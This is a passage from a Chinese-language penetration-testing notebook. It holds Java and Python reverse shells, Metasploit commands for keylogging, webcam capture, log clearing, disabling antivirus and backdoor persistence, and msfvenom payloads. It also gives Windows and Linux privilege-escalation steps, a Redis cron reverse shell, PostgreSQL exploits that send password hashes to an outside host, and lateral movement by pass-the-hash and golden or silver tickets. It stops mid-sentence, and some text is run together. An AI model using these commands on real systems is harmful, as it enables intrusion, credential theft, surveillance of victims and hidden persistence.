1;}phpinfo();public static void main(String[] args) throws Exception {// TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.13/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); }}编译:javac Revs.java java Revs
PYTHON:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.8.13',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
KALI使用
这里介绍KALI的一些工具的使用
proxychains4
该工具用于
KALI
挂代理-
使用前输入:
vi /etc/proxychains4.conf #查看修改配置
-
把
dynamic_chain
前的#
去掉 -
在
strict_chain
前加上#
-
在最后面加上代理信息
使用:在命令前加上
proxychains4
即可,如proxychains4 nmap -sT -Pn 192.168.22.0/24
MSF攻击
命令
命令 含义 chcp 65001 解决乱码问题 ps 查看目标机进程 kill 2312 关闭pid为2312的进程 run vnc 监控目标机桌面 screenshot 截取目标机屏幕 screenshare 实时观看目标机屏幕 shell 进入目标机的命令终端 webcam_list 列举摄像头 webcam_snap 通过远程连接目标系统的摄像头 clearev 清除日志 getsystem 提升权限 hashdump 获取密码hash值 keyscan_start 打开记录键盘 keyscan_dump 记录键盘 keyscan_stop 关闭记录键盘 uictl disable keyboard/mouse 禁用键盘/鼠标 uictl enable keyboard/mouse 启用键盘/鼠标制权 show targets 查看该模块适用系统 show options 查看设置 getsystem 提权 upload a.exe c:/ 上传文件到c:/ download c:\a.exe /root/ 下载文件到root目录 run killav 关闭对方的杀毒软件 net user admin 123456 /add 新建一个用户名admin 密码123456的用户 net user admin$ 123456 /add 创建一个隐藏用户 net localgroug administrators admin /add 加入管理员权限 run persistence -X -i 5 -p 8888 -r 192.168.1.11 生成一个持续性后门 explorer.exe ::{645FF040-5081-101B-9F08-00AA002F954E} 打开回收站 `dir c:\ d:\ e:\ /s /b find “password.txt”` linux
反向:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.36.129 LPORT=1111 -f elf >t1.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.36.129set LPORT 1111
正向:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 2.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcpset rhost 192.168.22.128set LPORT 3333exploit
window
反向
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.121 lport=5000 -f exe -o /root/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.121 set lport 5000exploit
正向:
msfvenom -p windows/meterpreter/bind_tcp lport=5000 -f exe -o /home/css/桌面/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/bind_tcpset rhost 192.168.22.128set lport 5000exploit
权限提升
在使用渗透攻击后若是能成功以低权限进入服务器后,将权限拥有范围提升至管理员甚至是系统权限的攻击方法。
通常网站是以低权限运行,以此来防止受到入侵后入侵者对服务器进行更大范围攻击。
权限提升的对象分为数据库、window、llinux,下面详细介绍权限提升方法
window
信息收集
权限划分
Windows中权限指的是不同账户文件、文件夹、注册表等的访问能力。一般我们常用的权限分为普通账户权限、管理员账户权限和system账户权限。
普通账户权限
优点:
1.权限最小化原则,确保用户资源得到最大保障;2.普通权限程序支持任意账户登录的开机自启动;
缺点:
1. 启动以管理员权限启动的程序时,会弹出用户账户控制(UAC)弹窗;2. 无法访问服务列表,判断服务程序有没有启动;3. 无法修改或删除Program Files等管理员权限路径下的文件,仅能查看;4. 程序无法删掉以管理员权限运行的进程;
管理员权限
优点:
1. 可以访问服务列表,运行服务程序;2. 可正常修改或删除访问Program Files等管理员权限路径下所有文件;3. 可以启动普通权限运行的程序并赋予管理员权限;
缺点:
1. 普通账户登录的系统,无法开机自启动;2. 程序无法杀掉system权限运行的进程;
system权限
优点:
1. 程序以windows服务托管运行,支持开机自启动;2. 可以以用户登录账户权限或system权限启动动外部程序;
缺点:
1. system权限获取桌面路径、appdata路径时,默认访问的是system相关路径,不是当前桌面路径;2. 程序不是在主线程中运行(很难理解)3. 弹出选择路径弹窗时,会报错或者无法选择桌面路径;4. 无法打开系统默认浏览器、文本编辑器等,因为程序运行权限超过系统登录账户范畴;
信息收集命令
以下命令可以对系统进行信息收集,由此来决定提权方式
命令 描述 systeminfo 打印系统信息 whoami 获得当前用户名 whoami /priv 当前账户权限 ipconfig 网络配置信息 ipconfig /displaydns 显示DNS缓存 route print 打印出路由表 arp -a 打印arp表 hostname 主机名 net user 列出用户 net user UserName 关于用户的信息 net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB net localgroup 列出所有组 net localgroup GROUP 关于指定组的信息 net view \127.0.0.1 会话打开到当前计算机 net session 开放给其他机器 netsh firewall show config 显示防火墙配置 DRIVERQUERY 列出安装的驱动 tasklist /svc 列出启动的服务 dir /s foo 在目录中搜索指定字符的项目 dir /s too==bar 同上 net start 列出启动的服务 sc query 列出所有服务 sc qc ServiceName 找到指定服务的路径 shutdown /r /t 0 立即重启 type file.txt 打印出内容 icacls “C\Example” 列出权限 wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的补丁 (New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”) 利用ps远程下载文件到本地 accesschk.exe -qwsu “Group” 修改对象(尝试Everyone,Authenticated Users和/或users) 工具收集
常用工具有:
-
-
windows和Linux都适用,Linux需要Python
-
只能在powershell里面使用,对于Web提权,不能使用powershell
-
-
Windows Exploit Suggester(主要在Web提权)
-
windows-kernel-exploits(该网站收集了windows相关的exp)
系统溢出
该提权方式是利用CVE-2020-0787本地提权漏洞,在目标服务器执行
BitsArbitraryFileMoveExploit.exe
文件流程:
- 创建一个账户
- 将该账户加入到Guests组
- 切换到该用户
- 执行
CVE-2020-0787
本地提权漏洞中的BitsArbitraryFileMoveExploit.exe
文件
at提权
at命令提权主要针对
win7
与win7
之前的操作系统,在
win7
之后的操作系统弃用该命令流程:
- 用
at
命令给系统添加一项作业,作业为在某一时间打开cmd - 在到达时间后系统打开的
cmd
权限是system
sc提权
流程:
-
使用
sc
命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):sc Create syscmd binPath= "cmd /K start" type= own type= interact
-
启动这个服务:
sc start syscmd
,打开的cmd
权限是system
ps提权
ps指pstools,是微软官方工具,是为windows提供的第三方工具库
执行命令:
psexec.exe -accepteula -s -i -d cmd.exe
令牌窃取
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
条件:windows2008和之前的系统
流程:
-
MSF已经连接入靶机,进入
incognito
模块查看当前服务器的令牌use incognito list_tokens -u
-
用以下命令进行令牌窃取
impersonate_token "NT AUTHORITY\SYSTEM" \\impersonate_token "机器名\\用户名"
incognito
模块能够查看的令牌类型:Delegation Token
:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)Impresonation Token
:模拟令牌,它是非交互的会话。
进程注入
进程注入提权是本地提权方式的一种较为老的安全技术
原理是注入进程的所有者实现权限共享机制
这类技术主要利用在 windows2008 之前操作系统上
pinjector进程注入工具(下载要VPN挂全局)
- 针对win2008以前的操作系统
- 能将pinjector注入到用户的进程里一起运行,进而同时拥有了对应的权限
- 是一种比较隐蔽的手段,不会创建新的进程,很难发现,但是上传至目标主机时可能会报毒
流程:
-
使用下面列出进程,列出的所有进程都可以利用(找system对应权限的进程)
Pinjector.exe -l
-
使用下面命令进行进程注入
pinjector.exe -p 456 cmd 5959 //456为PID,5959为监听端口
-
使用nc命令连接监听端口
nc -nv 192.168.8.10 5959
烂土豆
烂土豆提权是MS16-075(CVE漏洞编号:CVE-2016-3225),是一个本地提权,只能针对本地用户,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别
原理:
- 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
目标:
- 只针对本地用户
- 适用于window7、8、10,window server2008、2012
流程:
-
将烂土豆上传到靶机
-
msf执行烂土豆
execute -cH -f ./potato.exe
-
令牌窃取(上面的步骤)
DLL 劫持
原理:Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。
dll 劫持提权需要特定软件应用的控制权限及启用配合
通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:
- 应用程序加载的目录;
- C:\Windows\System32;
- C:\Windows\System;
- C:\Windows;
- 当前工作目录 Current Working Directory,CWD;
- 在 PATH 环境变量的目录(先系统后用户)
流程:
- 信息收集(服务器上的第三方程序的信息)
- 进程调试(分析这个程序在运行的时候调用了那些dll)
- 可以使用火绒剑进行分析
- 制作 dll 并上传(制作后门dll去替换原有的dll)
- 替换 dll
- 启动msf进行监听
- 启动应用
- 令牌窃取(结合上面的步骤)
不带引号服务路径
该提权方法多用于本地提权,能用于window server2012
当Windows服务运行时,会发生以下两种情况的其中一种
- 给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行
- 服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例
对如
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
这条路径,系统会按照以下顺序执行:c:\program.exec:\program files.exec:\program files (x86)\grasssoft\macro.exec:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
可以使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
不安全的服务权限
服务是操作系统的核心,经常以特权访问的方式运行,因为它们可能需要访问操作系统中受限的文件、注册表键等来执行任务。
由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
该提权只适用于本地提权
过程:
-
使用AccessChk工具查看当前用户是否可以修改某个服务目录中的文件
accesschk.exe -uwcqv "Administrators" *
-
可以选择创建一个服务,也可以选择本来的服务,将该服务的binpath改为上传的木马文件路径
sc config "AppReadiness" binpath="C:\shell.exe"
-
配合msf就能得到system权限
linux
信息收集
可以用手动命令收集与自动脚本收集
手动命令收集
-
获取内核,操作系统和设备信息
- 所有版本uname -a
- 内核版本信息uname -r
- 系统主机名字uname -n
- 内核架构 uname -m Linux
- 内核信息 cat /proc/version
- CPU信息 cat /proc/cpuinfo
- 发布信息
- cat /etc1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
-
修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
config set dir /var/spool/cron/crontabs/ config set dbfilename root save
-
攻击机使用nc命令监听
nc -nlvp 7777
Postgre
CVE-2018-1058
影响版本:
9.3-10
原理:9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作
流程:
-
普通用户连接到数据库
psql --host 192.168.144.1 --username vulhub 输入口令:vulhub
-
注入危险代码
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select 'hostaddr=192.168.144.1 port=1234 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2);$$ LANGUAGE SQL VOLATILE;
-
开启nc命令进行监听,等待超级用户登录触发后门
nc -lvvp 1234
-
超级用户的身份使用
pg_dump
命令对数据库进行备份pg_dump -U postgres -f evil.bak vulhub
-
收到管理员密码
具体可以看该文章
CVE-2019-9193
影响版本:
9.3-11.2
原理:9.3增加一个
COPY TO/FROM PROGRAM
功能。这个功能就是允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令流程:
-
连接到
postgres
中psql --host 192.168.204.136 --username postgres
-
执行如下语句,其中
FROM PROGRAM
语句将执行命令id并将结果保存在cmd_exec
表中DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;
内网渗透
当通过前期的信息收集,进行渗透攻击与权限提升后成功拿到一台通向外网的服务器的权限后
我们可以把这台服务器当作跳板,对内网里其他的主机进行渗透攻击工作组与域环境的区别:
- 工作组中每台计算机地位平等,没有一台服务器集中管理
- 域环境中有一台服务器作为域控制器DC管理域中所有计算机
域用户和本地用户的区别:
- 域用户:
god/administrator
- 本地用户:
./administrator
在域环境中只要能成功拿下DC的权限,就能控制整个域,下面介绍方法
信息收集
主要收集当前服务器的计算机基本信息,为后续判断服务器在域环境中的角色、网络环境提供信息
命令
基本信息
systeminfo
详细信息net start
启动服务tasklist
进程列表schtasks
计划任务
网络信息
ipconfig /all
判断存在域-dnsnet view /domain
判断存在域net time /domain
判断主域netstat -ano
当前网络端口开放nslookup
域名 追踪来源地址
用户信息
系统默认常见用户身份:
Domain Admins
:域管理员(默认对域控制器有完全控制权)Domain Computers
:域内机器Domain Controllers
:域控制器Domain Guest
:域访客,权限低Domain Users
:域用户Enterprise Admins
:企业系统管理员用户(默认对域控制器有完全控制权)
用户收集:
whoami /all
用户权限net config workstation
登录信息net user
本地用户net localgroup
本地用户组net user /domain
获取域用户信息net group /domain
获取域用户组信息wmic useraccount get /all
涉及域用户详细信息net group "Domain Admins" /domain
查询域管理员账户net group "Enterprise Admins" /domain
查询管理员用户组net group "Domain Controllers" /domain
查询域控制器
工具
mimikatz用于收集
window
各种密文,明文,口令等,具体命令看该文章mimipenguin用于转储当前
linux
桌面用户的登录密码LaZagne用于检索存储在本地计算机上的大量密码
XenArmor的作用与
LaZagne
一样,但是功能更强大,浏览器、WiFi、FTP的密码都可以发现,但是需要付费购买nbtscan的作用与
nmap
相似,但是用于探测域内主机Nishang集成了框架、脚本和各种
payload
,是基于PowerShell
的渗透测试专用工具横向渗透
横向渗透可以让被控制的主机横向渗透,拿下更多主机,下面介绍渗透其他主机的方法
明文传递
我们通过mimikatz的扫描获得了明文密码,就能使用明文密码去渗透其他主机,下面为能连接的方法
IPC
IPC(Internet Process Connection)
是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。建立 IPC 常见的错误代码
- 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
- 51:网络问题,
Windows
无法找到网络路径 - 53:找不到网络路径,可能是
IP
地址错误、目标未开机、目标Lanmanserver
服务未启动、有 - 防火墙等问题
- 67:找不到网络名,本地
Lanmanworkstation
服务未启动,目标删除IPC$
- 1219:提供的凭据和已存在的凭据集冲突,说明已建立
IPC$
,需要先删除 - 1326:账号密码错误
- 1792:目标
NetLogon
服务未启动,连接域控常常会出现此情况 - 2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
- 目标系统不是
NT
或以上的操作系统 - 对方没有打开
IPC$
共享 - 对方未开启
139、445
端口,或者被防火墙屏蔽 - 输出命令、账号密码有错误
利用流程:
-
建立 IPC 链接到目标主机
相关命令:net use \\server\ipc$"password" /user:username # 工作组net use \\server\ipc$"password" /user:domain\username #域内例子:net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
-
拷贝要执行的命令脚本到目标主机
相关命令:dir \\xx.xx.xx.xx\C$\ # 查看文件列表copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPCnet view xx.xx.xx.xx # 查看对方共享例子:copy add.bat \\192.168.3.21\c$
-
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本(计划任务是以
system
执行)at用于windowserver2008和以前at \\192.168.3.21 12:15 c:\add.batschtasks用于windowserver2012和之后schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F运行 adduser 任务schtasks /run /s 192.168.3.32 /tn adduser
-
删除 IPC 链接(不让对方发现)
schtasks /delete /s 192.168.3.32 /tn adduser /f
明文HASH传递
我们通过mimikatz的扫描获得了HASH密码,就能使用HASH密码去渗透其他主机,下面为能连接的方法
atexec
atexec是Impacket网络协议工具包中的一个工具
下载地址:
https://gitee.com/RichChigga/impacket-examples-windowshttps://github.com/SecureAuthCorp/impacket
Impacket网络协议工具包详细介绍看该文章
明文连接:
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
HASH连接:
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
自带命令
批量检测
ip
对应明文连接FOR /F %%i in (ips.txt) do net use \%i\ipc$ "admin!@#45" /user:administrator
批量检测
IP
对应明文回显版FOR /F %i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%i whoami
批量检测明文对应
IP
回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami
批量检测
HASH
对应IP
回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami
HASH传递
很多情况下使用工具获取明文密码是不允许的:
Windows2012
以上版本默认关闭wdigest
,攻击者无法从内存中获取明文密码- Windows2012以下版本若安装KB2871997补丁,会导致无法获取明文密码
Windows
系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003
以后,认证方式均为NTLM Hash。这个在
mimikatz
上可以发现有两个加密算法,一个是LM Hash
,另外一个是NTLM Hash
(基本只用关注这个)获取
windows
哈希密码的两个工具:Pwdump7、QuarksPwdumpProcdump
Procdump是官方软件,可以用于获取目标主机的用户信息
Mimikatz
属于第三方软件,上传到目标主机有可能被杀毒软件查杀由于
Procdump
获取信息的文件不可读,所以可以使用本地的的Mimikatz
打开Procdump
获取的用户信息生成信息命令:
procdump -accepteula -ma lsass.exe lsass.dmp
Mimikatz
导入文件并获取密码:sekurlsa::minidump lsass.dmp #导入文件sekurlsa::logonPasswords full #获取密码
Hashcat
Hashcat用于对密码进行hash破解能破解各种格式的密码文件,但是密码字典很大,kali自带
官网:https://hashcat.net/hashcat/
HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。
这三个版本的主要区别:
HashCat
只支持CPU
破解。oclHashcat-plus
支持使用GPU破解多个HASH
,并且支持的算法高达77种。oclHashcat-lite
只支持使用GPU
对单个HASH
进行破解,支持的HASH
种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。
如果只有单个密文进行破解的话,推荐使用
oclHashCat-lite
。爆破命令:
hashcat -a 0 -m 1000 hash file –force
a, --attack-mode=NUM
攻击模式,其值参考后面对参数。-a 0
字典攻击,-a 1
组合攻击;-a 3
掩码攻击。(这里是字典攻击)-m
1000指向的是NTLM Hash
哈希协议hash
要破解的哈希字符串file
字典的地址
SMB服务
SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web]连接和客户端与服务器之间的信息沟通。
利用SMB服务来进行远程执行的前提是445端口开放
psexec
psexec
是windows
下非常好的一款远程命令行工具。psexec
的使用不需要对方主机开方3389端口,只需要对方开启admin$
共享 (该共享默认开启)。PsExec
也是一个轻型的telnet
替代工具,它可以让我们无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。- 在微软官方Pstools工具包中,但是官方
Pstools
中的psexec
只能明文连接,无法采用hash
连接。 - 如果需要
hash
连接,可以使用impacket
工具包中的psexec
,但是impacket
非官方自带,容易被杀。
psexec
连接方式有2种-
先建立
IPC
链接,再通过psexec
明文或hash
传递net use \\192.168.3.32\ipc$ "admin!@#45" /user:administratorpsexec \\192.168.3.32 -s cmd # -s 以 System 权限运行
-
用
psexec
直接用明文账号密码连接命令格式:psexec \\192.168.3.21 -u(用户) administrator -p(密码) Admin12345 -s(系统权限) cmd(运行cmd)哈希值连接:将impacket工具包中的psexec复制到域内连接:psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec
smbexec在impacket工具包内,非官方自带,无需先ipc链接再明文或hash传递
该工具操作简单,但是容易被杀毒软件杀
命令:
smbexec god/administrator:Admin12345@192.168.3.21smbexec god/administrator:Admin12345@192.168.3.21HASH连接:smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
WMI 服务
WMI(Windows Management Instrumentation)
以服务名称winmgmt
的形式运行,是通过135
端口进行利用,支持用户名明文或者hash
的方式进行认证,并且该方法不会在目标日志系统留下痕迹。自带
WMIC
明文传递,无回显wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
自带 cscript 明文传递,有回显(需要wmiexec.vbs文件,不支持哈希)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
使用impacket套件中的wmiexec明文或hash传递,有回显(复制到靶机操作)
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
PTH、PTK、PTT传递
对于
8.1/2012r2
,安装补丁kb2871997
的Win 7/2008r2/8/2012
等,可以使用AES keys
代替NT hash
来实现PTK
攻击(等于补丁导致不能进行哈希传递)KB2871997
补丁后的影响(该补丁打了后系统的内存不保存明文的密码)PTH
:没打补丁用户都可以连接,打了补丁只能administrator
(指靶机本地管理员,等于域用户和本地其他用户不能连接) 连接PTK
:打了补丁才能用户都可以连接,采用AES256
连接
可以使用Ladon进行攻击(解压密码:k8gege.org)
PTH传递
PTH(pass the hash)
是利用LM
(老版本哈希)或NTLM
(新版本)的值进行的渗透测试PTH
在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash
和NTLM Hash
访问远程主机或服务,而不用提供明文密码。如果禁用了
NTLM
认证,PsExec
无法利用获得的NTLM
的hash
进行远程连接,但是使用mimikatz
还是可以攻击成功。PTT 与 PTH 的区别
- PTT的Kerberos TGT ticket 会过期(默认为10小时)
- PTH的NTLM hashes 只有在用户改变密码时才会改变。
因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。
利用流程:
-
mimikatz
获得LM
和NTLM
sekurlsa::logonpasswords
-
使用
NTLM
值连接sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值
PTK传递
PTK(pass the key)
是利用ekeys
、AES256
,通过kerberos
认证,可在NTLM
认证被禁止的情况下用来实现类似PTH
功能的渗透测试利用流程:
-
mimikatz
获取AES256
sekurlsa::ekeys
-
用已获得的
AES256
值连接sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
PTT哈希票据传递
PTT(pass the ticket)
是利用的票据凭证TGT
进行的渗透测试(票据与cookie类似)和加密算法不同的是,
PTT
采用的票据,使用Kerberos协议:- 客户机将明文密码进行
NTLM
哈希,然后和时间戳一起加密(使用krbtgt
密码hash
作为密钥),发送给KDC
(域控),KDC
对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
(KDC
域控为客户机生成cookie
) - 将
TGT
进行加密签名返回给客户机器,只有域用户krbtgt
才能取kerberos
中TGT
数据(KDC
域控返回的cookie
只有域用户 krbtgt才能读取) - 然后客户机将
TGT
发送给域控制器KDC
请求TGS
(票证授权服务)票证,并且对TGT
进行检测(域用户krbtgt
发送cookie
到KDC
域控请求检测) - 检测成功之后,将目标服务账户的
NTLM
以及TGT
进行加密,将加密后的票据ST
返回给客户机。(KDC
域控检测没问题返回ST
票据,并以后可以通过该票据建立通信,其中该票据只针对这一个服务)
PTT
攻击的部分就不是简单的NTLM
认证了,它是利用 Kerberos协议进行攻击的。攻击者从一台计算机上窃取
Kerberos
票证,并重新使用它来访问受感染环境中的另一台计算机。PTT
传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据 。有3种常见方法:
MS14-068
、Golden ticket,SILVER ticket
MS14-068
基于漏洞,Golden ticket
(黄金票据),SILVER ticket
(白银票据),其中Golden ticket
(黄金票据),SILVER ticket(白银票据)属于权限维持技术。下面分别介绍
MS14-068
MS14-068
是密钥分发中心KDC
服务中的Windows漏洞。- 它允许经过身份验证的用户在其
Kerberos
票证TGT
中插入任意的PAC
(表示所有用户权限的结构)。 - 该漏洞位于
kdcsvc.dll
域控制器的密钥分发中心KDC
中。 - 普通用户可以通过呈现具有改变了
PAC
的Kerberos
TGT
来获得票证,进而伪造票据获得管理员权限。
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁
kb3011780
攻击流程(用户属于域用户组):
-
查看当前用户的
sid
whoami/user
-
启用
mimikatz
,查看当前机器凭证kerberos::list
-
清空当前机器所有凭证(如果有域成员凭证会影响凭证伪造)
kerberos::purgepowershell的klist也可以查看票据(powershell直接输入klist)
-
利用
ms14-068
生成 TGT 票据,票据为TGT_mary@god.org.ccache
文件ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码.\MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45(注意前面要加.\)
-
用
mimikatz
将票据注入内存mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
-
查看凭证列表中票据是否注入成功
klist
-
漏洞利用
dir \\192.168.3.21\c$
也可以使用kekeo工具进行攻击
攻击流程(与上面流程相似,从上面的第4步开始):
-
生成票据
.\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
-
导入票据
kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
-
漏洞利用
dir \\192.168.3.21\c$
黄金票据
在
Kerberos
认证中,Client
通过AS
(身份认证服务)认证后,AS
会给Client
一个Logon Session Key
和TG
。Logon Session Key
并不会保存在KDC
中,krbtgt
的NTLM Hash
又是固定的。所以只要得到
krbtgt
的NTLM Hash
,就可以伪造TGT
和Logon Session Key
来进入下一步Client
与TGS
的交互。而已有了金票后,就跳过
AS
验证,不用验证账户和密码,所以也不担心域管密码修改。**特点:**不需要与
AS
进行交互,需要用户krbtgt
的Hash
。攻击条件:
krbtgt
用户的hash
(就意味着你已经有域控制器权限了)- 域名称
- 域的
SID
值 - 要伪造的用户名
攻击流程:
-
启动
mimikatz
并提权privilege::debug
-
读取域与域用户信息
lsadump::dcsync /domain:god.org /user:krbtgt
-
制作黄金票据
kerberos::golden /admin:system /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:ticket.kirbi
-
清除票据
kerberos::purge
-
将票据注入内存
kerberos::ptt 票据地址
-
查看票据
kerberos::list
-
票据利用
dir \owa.god.org\c$
白银票据
白银票据伪造的是
ST
。在
Kerberos
认证的第三步,Client
带着ST
和Authenticator3
向 Server 上的某个服务进行请求。Server
接收到Client
的请求之后,通过自己的Master Key
解密ST
,从而获得Session Key
。通过
Session Key
解密Authenticator3
,进而验证对方的身份,验证成功就让Client
访问server
上的指定服务了。所以我们只需要知道
Server
用户的Hash
就可以伪造出一个ST
,且不会经过KDC
,但是伪造的门票只对部分服务起作用。白银票据这里只是对单一的服务进行授权,利用过程和黄金票据差不多,首先上域控制器
KDC
中,把机器的ntlm hash
(rc4
加密) 存储下来,然后在普通域用户机器进行伪造权限,进行PTT
。攻击流程:
-
启动
mimikatz
并提权privilege::debug
-
读取域与域用户信息
sekurlsa::logonpasswords
-
制作白银票据
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /target:owa.god.org /service:cifs /rc4:105c2352f5e8a768ca560cd1950f69b2 /user:liukaifeng01 /ptt
-
清除票据
kerberos::purge
-
将票据注入内存
kerberos::ptt 票据地址
-
查看票据
kerberos::list
-
票据利用
dir \owa.god.org\c$
RDP协议
RDP(Remote Display Protocol )
叫做远程显示协议,默认端口为3389
在
Linux
上面就是通过Xshell
连接的SSHxeiy
协议,在windows
上面就是类似Linux
的RDP
协议window
开启远程连接界面:在运行里输入mstsc
mstsc 和mstsc /admin 区别
- mstsc连接服务器后的身份标识是普通用户,如果登陆了其他高级用户,该用户就无法登陆
- mstsc /admin连接服务器后的身份标识是管理员账户,最优先连接,如果登陆了其他的登陆级别的用户,这些账户会断开连接
也可以用命令行连接:
window:mstsc.exe /console /v:192.168.3.21 /adminlinux:rdesktop 192.168.3.21:3389
RDP
密文HASH
链接windows Server
需要开启Restricted Admin mode
,在Windows 8.1
和Windows Server 2012 R2
中默认开启,同时如果Win 7
和Windows Server 2008 R2
安装了2871997
、2973351
补丁也支持REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
运行
Restricted Admin mode
服务mstsc.exe /restrictedadmin
SPN服务
定义:
服务主体名称(
SPN
)是Kerberos
客户端用于唯一标识给特定Kerberos
目标计算机的服务实例名称(唯一cookie的标识,类似于token)。Kerberos身份验证使用
SPN
